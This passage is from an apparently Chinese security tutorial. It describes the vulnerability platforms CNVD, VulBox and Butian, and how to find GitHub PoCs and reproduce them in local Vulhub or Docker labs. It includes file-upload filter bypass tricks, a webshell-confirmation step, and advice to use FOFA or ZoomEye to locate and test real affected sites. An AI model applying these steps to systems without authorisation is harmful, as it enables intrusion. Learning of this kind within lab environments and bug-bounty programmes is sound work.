工具推荐 requests、Pocsuite3、Burp、Fiddler

八、CNVD

  • CNVD:China National Vulnerability Database

  • 中文名称:国家信息安全风险点共享平台

  • 官网地址 :https://www.cnvd.org.cn

  • 主管单位:中国国家互联网应急中心(CNCERT)

CNVD 是中国官方的风险点收集与通报平台,作用类似于国际的 CVE 系统,但更加本地化,更贴近中国厂商的软件和使用生态。

它具备以下功能:

功能 说明
风险点收录 收集国内外各种软硬件系统的安全风险点信息
提交风险点 安全研究员和厂商可以提交未公开风险点
通报预警 对重要风险点进行分级通报、修复建议
风险点库查询 提供按关键词、组件、厂商、时间等搜索风险点的功能
提交积分奖励 提交风险点可获得"风险点积分",用于排名与评优

8.1 CNVD 与 CVE 区别对比

比较项 CNVD CVE
覆盖范围 覆盖国内外,更注重国产系统 覆盖国际主流产品
编号规则 CNVD-年份-序列号(如 CNVD-2022-10201) CVE-年份-编号(如 CVE-2023-4567)
提交方式 注册账号后可提交风险点 需通过 CNA 或 MITRE 提交
是否公开所有风险点 否,有些是未公开风险点 是,公开数据库

CNVD 编号结构

示例:CNVD-2022-10201

  • CNVD:中国风险点库编号

  • 2022:年份

  • 10201:编号(每年单独编号)

有些风险点只有 CNVD 编号,没有 CVE,是国内独家披露的风险点。

8.2 如何使用 CNVD 做风险点研究?

1)查询风险点信息

打开官网首页 👉 https://www.cnvd.org.cn

使用 关键词、厂商、组件名、编号 等搜索:

  • 关键词:ThinkPHP / WordPress / Redis

  • 风险点编号:CNVD-2021-30102

  • 厂商/组件:泛微 e-office、泛微OA、用友等

示例结果内容:

  • 风险点名称

  • 风险点等级(高危/中危)

  • 影响范围

  • 修复建议

  • 公开时间

  • 风险点描述

2)查找可复现风险点(含 POC)

部分 CNVD 风险点信息会附带分析文章和 POC 链接,你可以根据标题关键词去 GitHub 搜索该风险点 POC。

例如:

  • CNVD-2021-30102 泛微OA 任意文件上传

  • GitHub 搜索:泛微 CNVD-2021-30102 POC

3)提交风险点

  1. 注册账号:https://www.cnvd.org.cn/member/login.htm

  2. 登录后台提交风险点信息

  3. 等待审核和编号分配

  4. 审核通过后会获得风险点积分

4)配合工具自动检测 CNVD 风险点

可以结合以下平台或工具,实现批量检测:

  • fofa + cnvd 组合(资产搜索 + 风险点检测)

  • nuclei 的 CNVD POC 模板(.yaml 格式)

  • **洞鉴/鹰图/Pocsuite3**等集成平台检测 CNVD 风险点

8.3 常见场景应用

场景 说明
Web 渗透前的信息收集 搜索目标使用的 CMS 是否有 CNVD 风险点
SRC 白帽子投稿 发现站点存在 CNVD 厂商风险点,可投稿
复现写博客 根据 CNVD 风险点编号构建复现环境、编写 POC
POC 自动化平台 用 CNVD 标记风险点并写 yaml 模板
风险点报告写作 引用 CNVD 编号提升报告专业性

8.4 配合平台/工具

平台 用法
CNVD 官网 查询风险点、提交风险点
Seebug 查询 CNVD + POC
GitHub 搜索 POC(搜索"CNVD-xxxx")
FOFA、ZoomEye 搜集可能受影响目标
Pocsuite3 编写 CNVD PoC 模块
Nuclei 编写 yaml 模板进行批量检测

8.5 小结

关键词 内容
平台性质 官方风险点共享平台(国家级)
涵盖范围 国内外软硬件系统,偏重国产系统
编号格式 CNVD-年-编号
核心价值 研究国内风险点、参与风险点提交
实战用法 复现、PoC 编写、检测、提交奖励

九、风险点盒子

  • 名称:风险点盒子(VulBox)

  • 网址 :https://www.vulbox.com

  • 运营方:知道创宇(国内安全公司)

  • 性质:白帽子风险点众测平台 + 企业安全合作平台

风险点盒子是什么?

风险点盒子是一个连接:

  • 白帽子(你)

  • 企业(厂商)

  • 平台(知道创宇)

三者之间的风险点收集、披露、奖励机制平台。

可以:

功能 描述
提交风险点 对目标站点提交安全风险点(XSS、SQL注入、逻辑风险点等)
获取积分 审核通过后获得安全积分
获得奖励 某些风险点可能得到现金或实物奖励
企业定向众测 平台分配目标给白帽子做深度测试
排名与认证 累积积分可进入榜单,增加影响力

9.1 注册与使用流程

注册流程

  • 访问官网:https://www.vulbox.com

  • 使用手机号或邮箱注册账号

  • 完善个人信息和认证(建议上传真实能力信息,便于定向众测邀请)

提交风险点流程

  • 登录后台 ➜ 点击"提交风险点"

  • 填写目标站点、风险点描述、风险点类型、危害等级、复现步骤等

  • 可上传截图、复现视频、PoC 链接等

  • 提交后等待审核,审核成功会收到积分/奖励

风险点​​​​​​​类型支持

类型 说明
XSS 跨站脚本 常见于搜索、评论等页面
SQL 注入 登录页、参数注入
任意文件读取 可读取 config、passwd 等文件
命令执行 RCE 高危风险点,可控制服务器
逻辑风险点 例如越权、任意密码重置
信息泄露 例如 Git 泄露、接口暴露
SSRF / CSRF / XXE 较高级别风险点

9.2 风险点盒子优势

面向厂商 SRC

风险点盒子对接了很多大型平台,如:

  • 联通、移动、华为

  • 招商银行、支付宝

  • 各类政企系统

  • 中小厂商(企业众测)

平台负责将风险点分发、审核、通报给厂商,并推动修复和奖励发放。

支持公开 & 私密提交

  • 公开提交:风险点审核通过后可展示在风险点广场

  • 私密提交:只提交给厂商和平台,外部不可见

  • 可匿名提交:避免打草惊蛇

众测任务邀请制

技术好、有提交记录后,会被平台邀请:

  • 参与高价值站点的定向测试

  • 按任务提交风险点,按风险点奖励现金/积分

9.3 白帽子常用技巧

如何发现风险点?

  • 目标:厂商登录页、搜索、注册、上传等功能点

  • 工具:BurpSuite、dirsearch、sqlmap、F12+调试

  • 常用风险点类型:XSS、逻辑风险点、路径遍历、任意文件下载

如何提交让平台快速通过?

  • 写明:

    • 风险点入口地址

    • 触发条件

    • 复现步骤

    • 危害描述

    • 建议修复措施

  • 附加截图、视频、PoC URL(更具可信度)

9.4 实战建议

适合做的实战项目:

  • 在 GitHub 搜索 CMS 框架(如:dedecms、discuz)搭建测试环境

  • 本地挖掘 XSS、SQL 注入、后台绕过风险点

  • 写成 PoC(参考之前讲的 PoC 编写方法)

  • 到风险点盒子找类似站点或厂商进行验证

  • 提交风险点,积累积分与实战经验

9.5 小结

维度 内容
性质 国内白帽众测平台,由知道创宇运营
使用目的 提交风险点、积累经验、获取奖励
优势 厂商多、众测活动频繁、奖励机制完善
提交技巧 精准复现、图文并茂、突出危害
实战建议 从低危 XSS、路径遍历、逻辑绕过开始练手

十、补天

项目 说明
平台名称 补天风险点响应平台
官网地址 https://www.butian.net
创建时间 2013 年左右
运营方 360 公司(奇虎360)
性质 国内权威风险点提交/响应/众测平台
用户群体 白帽子、安全研究员、安全厂商、政企单位

补天平台是什么?

补天平台是一个白帽子与厂商之间的"中间桥梁",由奇虎360维护,用于接收白帽子提交的风险点并转发给相关厂商,促进风险点修复,并给予积分或奖励。

10.1 补天平台主要功能

模块 功能说明
风险点提交 提交 XSS、SQL注入、RCE、未授权访问等风险点
厂商合作 对接了大量厂商(如政府网站、银行、互联网公司)
赏金计划 部分厂商设置风险点赏金(¥现金奖励)
众测任务 官方分配测试目标,按结果计分或计钱
积分体系 提交风险点获得"白帽积分"
排名体系 有周榜、月榜、年榜,优秀者可获得认证

10.2 支持的风险点类型

类型 描述
XSS 跨站脚本 输入框未过滤,执行恶意脚本
SQL 注入 数据库查询接口存在注入风险
任意文件上传 可上传木马控制服务器
任意文件读取 读取配置、数据库密码等敏感信息
命令执行 RCE 远程执行系统命令
SSRF / XXE / CSRF 服务端请求伪造、XML注入等
信息泄露 源码泄露、后台泄露、弱口令

10.3 挖洞 + 提交流程

  • 使用 FOFA/ZoomEye 找目标(可选定厂商)

  • 识别 CMS/系统(如 dedecms、phpcms、thinkphp)

  • 使用 BurpSuite、手工 + 工具挖洞

  • 编写复现文档(截图 + 步骤 + POC)

  • 登录补天平台提交

  • 审核通过 ➜ 积分奖励

10.4 练习路径

  • 本地搭建风险点环境(如 ThinkPHP、dedecms)

  • 复现已知风险点(CVE/CNVD)

  • 编写风险点分析 + POC

  • FOFA/ZoomEye 扫描使用目标厂商

  • 在补天提交真实可复现的低危风险点(如 XSS)

  • 慢慢积累积分,提升排名

10.5 小结

内容 说明
平台定位 国内老牌风险点响应平台
目标用户 白帽子、SRC从业者、安全爱好者
提交类型 XSS、SQL注入、RCE、逻辑风险点等
奖励方式 积分、现金、证书、荣誉
推荐方式 搭配风险点盒子、GitHub POC 实战使用

十一、github-poc 资源复现

  • POC(Proof of Concept):风险点的概念验证代码,用来复现风险点。

  • GitHub 上聚集了世界各地安全研究员、红队、白帽子上传的 风险点 POC 、EXP(利用代码) 和复现环境。

  • 有大量关于 WordPress、ThinkPHP、dedecms、phpcms、Struts2、Weblogic、Spring 等的 POC。

11.1 GitHub 上 POC 搜索方法

关键词搜索技巧(举例):

bash 复制代码
ThinkPHP CVE poc
dedecms file upload poc
WordPress RCE github
"phpcms" in:description
CVE-2023 in:title

推荐结合使用的关键词:

风险点组件 常见关键词
ThinkPHP thinkphp poc, thinkphp rce
WordPress wordpress plugin vuln
dedecms dedecms upload, dedecms XSS
phpcms phpcms poc
Discuz discuz xss, discuz csrf
CVE CVE-2021-XXXX poc

推荐仓库(通用集合类):

11.2 POC 复现完整流程

以 GitHub 搜到的一个 dedecms 任意文件上传风险点 POC 为例:

步骤 1:搭建环境

使用 **vulhub、docker、**或自己搭建风险点 CMS 环境。

bash 复制代码
# 如果是 Vulhub 支持的风险点
git clone https://github.com/vulhub/vulhub
cd dedecms/xxx
docker-compose up -d

或自己去官网下 dedecms v5.7,配合 phpstudy 或宝塔本地部署。

步骤 2:获取 POC

在 GitHub 搜索:

bash 复制代码
dedecms upload poc

找到一个 POC 仓库,如:

bash 复制代码
https://github.com/Medicean/VulApps/tree/master/d/dedecms_5_7_1

下载或者复制其中的 POC 脚本,例如 poc.py。

步骤 3:阅读 POC 原理

通常 POC 包含:

模块 内容
请求地址 哪个接口存在风险点(如 /uploads/a.php)
请求方式 POST/GET/文件上传
参数格式 参数名、文件字段名(如 file, upload[])
响应判断 如何判断风险点是否成功(如返回 200 且链接可访问)

需要掌握 HTTP 抓包知识,能用 BurpSuite 重现请求。

步骤 4:运行 POC

bash 复制代码
python3 poc.py http://127.0.0.1/dedecms/
  • 查看控制台是否提示上传成功

  • 查看返回的 Webshell 链接

  • 使用浏览器/curl 打开,确认是否 RCE 成功

步骤 5:分析风险点 原理(进阶)

掌握风险点利用条件:

  • 文件类型限制绕过?

  • 后缀双写?(如 .php;.jpg)

  • 文件内容绕过?(加 GIF 头?)

  • 后台未鉴权上传接口?

  • 文件是否可被访问?

11.3 从 GitHub 挖掘优质 POC 的技巧

方法 技巧
看 Star 数 超过 100 星,一般质量不错
看更新时间 越新越说明适配当前系统
看 issue 区 有没有人复现成功
看 Readme 有没有环境搭建说明和截图
搜索 CVE + PoC 如:CVE-2023-37960 poc
搜 Fofa/Zoomeye 结果验证 查是否有目标存在此风险点

11.4 辅助工具推荐

工具 作用
BurpSuite 抓包、重放 POC 请求
Docker 快速搭建测试环境
FOFA 搜索真实风险点目标
Nmap + Nuclei 指纹识别 + 批量扫描 POC
Python/requests 编写自己的 poc 脚本

11.5 示例复现案例

系统 风险点名称 GitHub 地址
ThinkPHP 5 RCE风险点 https://github.com/vulhub/vulhub/tree/master/thinkphp/5-rce
dedecms 5.7 任意文件上传 https://github.com/Medicean/VulApps/tree/master/d/dedecms_5_7_1
WordPress 插件文件上传风险点 https://github.com/1N3/Wordpress-Exploit-Framework
phpcms 后台 getshell https://github.com/Angus-x/phpcmsv9

11.6 小结

bash 复制代码
graph TD
A[GitHub 搜索风险点 PoC] --> B[分析风险点原理]
B --> C[搭建环境 Vulhub/Docker]
C --> D[运行 POC 脚本]
D --> E[复现成功]
E --> F[总结报告/投稿平台]
相关推荐
迪康Defender11 小时前
终端安全运维:浅谈迪康端点安全一体化管理系统工具箱实用能力
运维·安全·信息可视化·自动化·运维开发·学习方法·远程工作
嘟哩DuliDuli11 小时前
AI创作工作区的项目上下文与多模态任务边界
android·人工智能·安全·ai·软件工程
pusheng202512 小时前
普晟传感再获“消防产业核心配套优质品牌”:以可靠传感技术,让全球合规变简单
大数据·前端·人工智能·物联网·安全
EasyGBS12 小时前
通信基站/铁塔机房无人值守,国标GB28181公网平台EasyGBS视频能力怎么去管
深度学习·安全·音视频
深盾科技_Virbox14 小时前
软许可、加密锁和云许可混合使用时,授权接口应该怎么统一?
运维·网络·安全
是真的小外套14 小时前
第15章:网络安全主动防御技术原理及应用
安全·web安全
2601_9623649714 小时前
升级电脑人脸登录,选购 Windows Hello 模组常见误区
windows·安全·电脑
臻选云栗子15 小时前
PCDN晚高峰掉量原因分析及优化建议
服务器·网络·安全·网络安全·阿里云·云计算·信息与通信
程序员JerrySUN15 小时前
Jetson Edge AI 实战05:Secure Boot 到底在保护什么?PKC、SBK、Fuse 与可信启动链一次讲清【视频讲解】
arm开发·人工智能·安全·计算机视觉·目标跟踪·音视频
文章永久免费只为良心16 小时前
Ctfshow_Web应用安全与防护_第二章_无字母数字命令执行
前端·python·安全·网络安全·渗透测试·ctf·红队渗透测试